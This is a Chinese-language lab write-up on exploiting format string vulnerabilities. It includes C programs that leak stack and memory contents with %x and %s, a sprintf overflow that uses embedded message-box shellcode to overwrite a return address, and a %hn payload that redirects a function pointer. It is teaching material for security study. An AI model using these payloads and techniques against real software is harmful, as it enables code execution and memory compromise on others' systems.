格式化字符串

目标

通过几个例子来理解格式化输出函数漏洞的利用,使用%s%x%n格式操作符操作内存,完成给定 shellcode 调用。

测试步骤与结果

%x查看栈内容

代码如下

stackView.c
1
2
3
4
5
6
7
8
9
10
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){
__asm int 3
char format[32];
strcpy(format,"%08x.%08x.%08x.%08x");
printf(format,1,2,3);
return 0;
}
  • 执行printf时,第四个%x没有提供相应的参数,会显示该参数所在位置的栈内容。在本例为00132588h
  • 此程序输出如下

%s查看指定地址内容

代码如下

memoryView.c
1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){
__asm int 3
char format[40];
//利用多个%x将%s对应的参数位置挪到存储地址77E61044的栈地址
strcpy(format,"\x44\x10\xE6\x77%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%s");
//输出地址0x77E61044的内存
printf(format,1,2,3);
return 0;
}
  • 代码将要查看位于地址0x77E61044的内存内容。
  • 前 3 个参数为提供的 3 个参数,后面的一群%x是为了将%s的参数对应到地址0x77e61044上,所以可以输出内存0x77e61044的内容直到遇到截断符。
  • 该段程序输出如下

实际操作对格式化输出函数漏洞进行利用

  1. sprintf()函数

    • sprintf的函数原型是这样的:int sprintf (char *buffer, const char *format, [argument] ...);
      • buffer 指针指向将要写入字符串的缓冲区
      • format 格式化字符串
      • argument 为可选参数
    • sprintf函数的漏洞点在于它假定任意长度的缓冲区存在。
  2. shellcode 解析

    char user[]=
    "%497d\x39\x4a\x42\x00"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x33\xDB\x53\x68\x62\x75\x70\x74\x68\x62\x75\x70\x74\x8B\xC4\x53"
    "\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
    "\xB8\xBB\xB0\xE7\x77\xFF\xD0\x90\x90\x90\x90";
    • 我们使用数组user作为用户的 “输入”,\x39\x4a\x42\x00为 shellcode 的起始地址,用来覆盖函数的返回地址。\x33\xdb开始是我们的弹框 shellcode。当调用sprintf时,它会读取一个参数以%497d的格式写入 outbuf,由于未提供该参数,会自动将栈地址0x0012fae0中的值视为该参数,即0x12ff80。需要写入outbuf的总字符串长度为 ,而outbuf长度为512,因此会导致栈溢出, 使得函数的返回后执行sprintf()outbuf的内容。
  3. 漏洞利用

    • 整体代码如下

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
       // libraries import omitted 
      void mem(){
      //__asm int 3
      char outbuf[512];
      char buffer[512];
      sprintf(
      buffer,
      "ERR Wrong command: %.400s", user
      ); /* 执行完上一步后buffer[]="ERR Wrong command: %497d\x39\x4a\x42\x00" 00424a39为shellcode地址;此处仅仅就是一串nop而已 */
      sprintf(outbuf,buffer);
      //sprintf(outbuf,"ERR Wrong command: %497d\x39\x4a\x42\x00");
      }
      int main(){
      LoadLibrary("user32.dll");
      mem();
      return 0;
      }
    • mem函数中,分配了两个512字节大小的缓冲区,并进行了两次sprintf操作。

    • 第一次sprintf后,buffer(在0x424a30)中的内容应该是"ERR Wrong command: %497d\x39\x4a\x42\x00",其后的内容因为有0x00而被截断。

    • 第二次执行sprintf,它会读取一个参数以%497d的格式写入outbuf,由于未提供该参数,会自动将栈地址0x0012fae0中的值视为该参数,即0x12ff80

    • outbuf起始地址为0x0012fd2c, 19 字节的字符串ERR Wrong command: 后为 497 字节的整型数字1245056,因此从0012ff30开始为\x39\x4a\x42\x00

    • 我们成功将返回地址0x4010d1覆盖为 shellcode 的地址0x424a39

    • shellcode 成功执行,弹出对话框。

测试结论

上述溢出程序的修改原理可以用这个图来简单表示。

思考题

源代码如下

foo.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# include <stdio.h>
# include <stdlib.h>
# include <errno.h>

typedef void (*ErrFunc)(unsigned long);

void GhastlyError(unsigned long err)
{
printf("Unrecoverable error! - err = %d\n", err);
//This is, in general, a bad practice.
//Exits buried deep in the X Window libraries once cost
//me over a week of debugging effort.
//All application exits should occur in main, ideally in one place.
exit(-1);
}

void foo(){
printf("I've been hacked!!!");
}

void RecoverableError(unsigned long err){
printf("Something went wrong, but you can fix it - err = %d\n", err);
}

void PrintMessage(char* file, unsigned long err){
ErrFunc fErrFunc; char buf[512];

if(err == 5)
{
//access denied
fErrFunc = GhastlyError;
}
else
{
fErrFunc = RecoverableError;
}

_snprintf(buf, sizeof(buf)-1, "Can'tFind%s", file);

//just to show you what is in the buffer
printf("%s", buf);
//just in case your compiler changes things on you
printf("\nAddress of fErrFunc is %p\n", &fErrFunc);

//Here's where the damage is done!
//Don't do this in your code.
//__asm int 3
fprintf(stdout, buf);

printf("\nCalling ErrFunc %p\n", fErrFunc);
fErrFunc(err);

}

int main(int argc, char* argv[]){
//__asm int 3
int iTmp = 100;
printf("%.300x%hn",11, &iTmp);
FILE* pFile;

//a little cheating to make the example easy
printf("Address of foo is %p\n", foo);

//this will only open existing files
pFile = fopen(argv[1], "r");

if(pFile == NULL)
{
//PrintMessage(argv[1], errno);
PrintMessage(argv[1], errno);
}
else
{
printf("Opened %s\n", argv[1]);
fclose(pFile);
}
return 0;
}

main 函数中根据命令行提供的参数打开对应的文件。如果这个文件不存在,那么就调用PrintMessage函数打印相应的错误信息。在PrintMessage函数中把错误分为GhastlyErrorRecoverableError两类。要想调用foo函数,可以通过%nfErrFunc函数的地址修改为foo函数的地址。命令行参数为:%x%x…%x%x%n+fErrFunc 函数指针的地址。snprintf之后buf"Can'tFind%x%x…%x%x%n" +fErrFunc 函数指针的地址,接下来由于fprintf(stdout, buf)中缺少了argument参数,所以已打出的字符总数通过%n被写入 fErrFunc 函数指针的地址。通过控制%x调整已打出的字符总数就能达到我们的目的。

  1. 首先传入一串%x
     
    argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
  2. fErrFunc0x12ff18位置上,foo0x401014上,2578%x的 ASCII 码。
  3. 加上%pABC
     
    argv="%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC"
  4. 我们需要把\x18\xff\x12放在一个可写的位置上,在前面加上.以调整输出内容
  5. 现在把%p换为%hn,由于多了一个h,所以前面要少一个.,在后面我们还要放上\x18\xff\x12

    此时0x12ff18的位置已经被更改为0x40017e

  6. foo的地址是0x00401014,现在我们写入的值是0x0040017E,还差 3734 个字节。

    这里是 3744 不是 3734,因为原来第一个%x打印了 6 个字节,为了对齐删掉了 4 个.又少打印了 4 个字节,所以要把总共少打印的这 10 个字节加回去。从上图可以看出第一个%x对应的内容是0012FF80,只打印了12FF80;第二个%x对应的内容是00000000,只打印了0;从第三个%x开始正常打印 8 个字节。

  7. 利用成功。